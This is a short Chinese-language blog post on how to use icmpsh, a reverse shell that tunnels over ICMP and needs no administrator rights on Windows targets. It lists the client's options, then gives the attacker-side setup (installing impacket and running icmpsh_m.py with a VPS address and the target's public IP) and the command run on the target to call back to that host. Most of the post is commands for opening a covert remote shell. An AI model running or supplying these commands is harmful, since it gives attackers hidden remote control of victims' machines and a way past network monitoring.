关于icmpsh
icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,优势在于它不需要管理权限即可在目标机器上运行。
客户端只能在Windows机器运行,服务端可以在任何平台上运行。
项目地址:https://github.com/bdamele/icmpsh
食用方法
Usage:
-t host 要向其发送ping请求的主机ip地址
-r 发送一个包含字符串“Test1234”的测试icmp请求,然后退出
-d 请求之间的毫秒延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空白计数器。如果该计数器达到某个极限,从机将退出。如果收到响应,计数器将设置回0。
-b num 退出前未答复的icmp请求
-s bytes 最大数据缓冲区大小(字节)
服务端:
#运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install impacket
python2 icmpsh_m.py 192.168.1.133 192.168.1.137
客户端:
icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128
本文作者为彦祖,转载请注明。